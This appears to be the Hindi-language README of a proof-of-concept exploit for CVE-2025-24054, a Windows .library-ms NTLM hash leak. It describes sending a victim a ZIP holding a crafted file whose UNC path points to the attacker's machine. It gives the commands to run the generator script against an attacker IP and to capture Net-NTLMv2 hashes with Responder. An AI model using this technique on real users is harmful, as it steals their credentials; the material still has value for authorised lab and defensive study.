CVE-2025-24054 PoC

CVE-2025-24054 – Windows Library (.library-ms) NTLM हैश प्रकटीकरण भेद्यता के लिए एक सरल प्रमाण-अवधारणा (Proof of Concept)।

⚠️ केवल शैक्षिक और अधिकृत प्रयोगशाला उपयोग के लिए

---

विवरण

CVE-2025-24054 एक हमलावर को विशेष रूप से तैयार की गई .library-ms फ़ाइल का उपयोग करके Windows सिस्टम को पीड़ित के Net-NTLMv2 हैश को लीक करने के लिए मजबूर करने की अनुमति देता है।

जब पीड़ित दुर्भावनापूर्ण .library-ms फ़ाइल वाला ZIP निकालता है, तो Windows Explorer स्वचालित रूप से SMB कनेक्शन शुरू करता है, जिससे NTLM हैश लीक हो जाता है।

यह कैसे काम करता है

1. हमलावर अपनी मशीन की ओर इशारा करते हुए UNC पथ वाली एक दुर्भावनापूर्ण .library-ms फ़ाइल बनाता है।
2. यह फ़ाइल ZIP संग्रह के अंदर वितरित की जाती है।
3. पीड़ित ZIP फ़ाइल निकालता है।
4. Windows Explorer स्वचालित रूप से लाइब्रेरी को लोड करने का प्रयास करता है, जिससे NTLM प्रमाणीकरण अनुरोध शुरू होता है।
5. हमलावर Responder का उपयोग करके Net-NTLMv2 हैश कैप्चर करता है।

1. उपयोग

python poc.py -i YOUR-IP

2. Responder प्रारंभ करें (हमलावर मशीन)

sudo responder -I eth0